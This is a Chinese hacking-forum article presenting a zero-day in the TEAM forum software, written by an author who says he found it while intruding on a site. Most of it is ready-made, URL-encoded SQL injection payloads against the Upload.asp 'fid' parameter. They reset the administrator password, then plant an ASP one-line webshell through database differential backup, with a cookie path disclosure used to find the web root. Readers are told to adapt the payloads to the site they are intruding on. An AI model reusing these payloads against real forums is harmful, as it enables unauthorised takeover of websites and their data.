标题: TEAM论坛0DAY拿WEBSHELL
内容: TEAM论坛是国内一个比较受欢迎的论坛,它网站的基本介绍如下:采用缓存技术,访问速度更快,对服务器的压力更小针对搜索引擎进行优化,使你的文章更快的加入搜索机器人的视眼。默认多后台管理功能,发放各级权限,可以让管理更轻松用户权限管理,层层检测,动态更新各级权限。完整的XML定阅功能更小的安装包,更方便的使用。 发现这个漏洞是由于我在入侵一个网站时看到了这套系统,我这种小菜又没有0DAY只好自己动手去找了个咯!
先去TEAM官方论坛下载个源代码,当然要选最新的,看了下发现下载量挺大的,有6万多呢,如图1。接下来就是找漏洞了,感觉这套系统的安全性还是相当不错的,大部分参数的取得用的都是HRF函数,具体内容为:
Function HRF(a,b,c)
Dim Str
Select Case a
Case 1
Str = Request.Form(c)
Case 2
Str = Request.QueryString(c)
Case 3
Str = Request.Cookies(c)
Case Else
Str = Request(c)
End Select
Select Case b
Case 1
Str = HtmlEncode(str)
Case 2
Str = CID(str)
End Select
HRF = Str
End Function
如果取的是数值型那么带入的内容会被转化成数值,而如果是字符型那么会被过滤掉单引号。由于我技术有限,看完了所有的SELECT形式的SQL查询语句都没能找到漏洞,当时差点崩溃了。接着就是找delete和INSERT形式的查询语句,这下总算是有了成果,漏洞文件是Upload.asp。具体代码为:
fid = Request("fid")
……省略部分代码……
Dim Fileid,Rs,UpFileID
ChildFileName = team.Checkstr(ChildFileName)
team.execute("Insert into UpFile (FID,UserName,Filename,Types,Lasttime,FileSize) values ("&fid&",'"&TK_UserName&"','"&ChildFileName&"','"&FileExt&"',"&SqlNowString&","&FileSize&")")
其中FID没有进行过滤就进行了查询,但由于是Insert的注入所以利用起来不是很容易,因为在ACCESS下似乎没有SQL的注释语句,也不支持多语句查询。如果是MYSQL的话,那还有点办法,但ACCESS的我实在没辙。如果有谁有办法的话也请告诉我下哦!当然叉子们也别失望,由于这套系统是即支持ACCESS和SQL的,所以自然会有人使用SQL来搭建网站。在SQL下这个注入点的用途可就大了哦!我们一起来看看如何使用吧!
由于这个漏洞是和上传有关的,所以我们必须要先注册个用户,然后点击“发表主题”就来到如图2的界面,接下来叉子们要注意下了哦,由于FID这个参数是自动加在网页中被提交的,所以我们需要修改下网页的源代码。这里我使用的工具是啊D的“IE恶搞迷”,打开工具后,点击上面的放大镜图标,接着拖到我们的上传网页处,这时工具里就会显示出网页的代码。这时我们就可以进行修改了,我们在工具中可以看到代码如下:
<DIV class=a4><IFRAME id=ajaxframe name=ajaxframe width=0 height=0></IFRAME>
<FORM id=upfile name=upfile action=upload.asp?action=ups&fid=2&tid=0 method=post target=ajaxframe encType=multipart/form-data><INPUT type=hidden value=1211 name=uploadcode>
<TABLE class=a2 cellSpacing=1 cellPadding=3 width="98%" align=center>
<TBODY>
<TR>
这里我们可以看到FID=2,后面的内容不要动,我们只需要修改掉这里的“2”为自己想要改的内容就可以了。最直接的自然是修改管理员的密码,我们把内容“2”改为“123,'asd','fycj','cc',2008-02-29,123);update admin set adminpass='fc1b38389c3c843a' where id=2 --”这里注意一下我们还需要讲这段代码进行URL编码,不然在提交时会造成丢失,编码后的结果为:123%2C%27asd%27%2C%27fycj%27%2C%27cc%27%2C2008%2D02%2D29%2C123%29%3Bupdate+admin+set+adminpass%3D%27fc1b38389c3c843a%27+where+id%3D2+%2D%2D。其中前面的内容是为了保证SQL查询语句的完整,而后面的就是我们的注入语句了,意思是把管理员的密码修改成“fc1b38389c3c843a”(echoeye经过MD5加密后的结果),然后我们点击下“开始恶搞”就全部完成了,接着只要我们随便上传一个图片,当出现如图3的提示时,就说明我们已经成功了。这时在管理员的密码就已经被我们修改了。我们可以先登陆前台再登陆后台进行操作,后台可以执行SQL语句,还可以备份数据库,我们可以先上传图片木马然后备份成ASP后缀的文件。这里注意下由于备份数据库那里做了是否为数据库文件的判断,所以我们需要使用数据库合并工具先将我们的木马进行下改造,这些在X档案以前都有过说明,我就不浪费版面了。
到这里我们的漏洞还没有发掘结束哦!这套系统有个类似逻辑漏洞存在,可能是作者认为不要紧吧。我们看代码:
CacheName = "team_"& Lcase(Replace(Replace(Replace(Server.MapPath("Default.asp"),"Default.asp","",1,-1,1),":",""),"\",""))
Forum_sn = Replace(CacheName,"_","")
这段代码存在于Const.asp,主要是用于输入COOKIE值。也就是说,当你登陆论坛时就等于把网站的根目录告诉我们了。比如说我们登陆官方论坛,再看看我们的COOKIE,如图4。这里我们只要注意划圈的地方:teamewwwrootteams,其中team是前缀,不用管,而后面的“ewwwrootteams”就等于“e:\wwwroot\teams”,这样我们就得到了论坛的根目录。这有什么用呢?结合上面的漏洞我们想到了什么呢?我们可以直接通过数据库差异备份拿到WEBSHELL,利用代码以及经过编码后的代码为:
123,'asd','fycj','cc',2008-2-29,123);create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表
123%2C%27asd%27%2C%27fycj%27%2C%27cc%27%2C2008%2D2%2D29%2C123%29%3Bcreate+table+%5Bdbo%5D%2E%5Bjm%5Ftmp%5D+%28%5Bcmd%5D+%5Bimage%5D%29%2D%2D
123,'asd','fycj','cc',2008-2-29,123);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)
123%2C%27asd%27%2C%27fycj%27%2C%27cc%27%2C2008%2D2%2D29%2C123%29%3Bdeclare+%40a+sysname%2C%40s+nvarchar%284000%29+select+%40a%3Ddb%5Fname%28%29%2C%40s%3D0X6A006D00640063007700+backup+database+%40a+to+disk+%3D+%40s+%2D%2D
123,'asd','fycj','cc',2008-2-29,123);insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中
123%2C%27asd%27%2C%27fycj%27%2C%27cc%27%2C2008%2D2%2D29%2C123%29%3Binsert+into+%5Bjm%5Ftmp%5D%28cmd%29+values%280x3C2565786563757465287265717565737428226C222929253E%29%2D%2D
123,'asd','fycj','cc',2008-2-29,123);declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='G:\木马类\编程\HTML和ASP\整站代码\ASP\box\www\fuck.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份
123%2C%27asd%27%2C%27fycj%27%2C%27cc%27%2C2008%2D2%2D29%2C123%29%3Bdeclare+%40a+sysname%2C%40s+nvarchar%284000%29+select+%40a%3Ddb%5Fname%28%29%2C%40s%3D%27G%3A%5C%C4%BE%C2%ED%C0%E0%5C%B1%E0%B3%CC%5CHTML%BA%CDASP%5C%D5%FB%D5%BE%B4%FA%C2%EB%5CASP%5Cbox%5Cwww%5Cfuck%2Easp%27+backup+database+%40a+to+disk+%3D+%40s+WITH+DIFFERENTIAL%2CFORMAT+%2D%2D
123,'asd','fycj','cc',2008-2-29,123);drop table [jm_tmp]-- 删除此表
123%2C%27asd%27%2C%27fycj%27%2C%27cc%27%2C2008%2D2%2D29%2C123%29%3Bdrop+table+%5Bjm%5Ftmp%5D%2D%2D
其中“G:\木马类\编程\HTML和ASP\整站代码\ASP\box\www\”是我搭建的网站的根目录,我们只需要改成入侵网站的根目录就可以了,代码均做了介绍。完成后就会在根目录生成一个fuck.asp的文件,并且“<%execute(request("l"))%>”在其中,接下的利用我就不说啦!
到此TEAM论坛的漏洞我就介绍完毕了,其实这个网站还有个小漏洞,漏洞文件是“BoradServer.asp”,但需要一定的权限,而且只是删除任意文件的漏洞所以利用价值不大,比较鸡肋。有兴趣的朋友可以自己看下。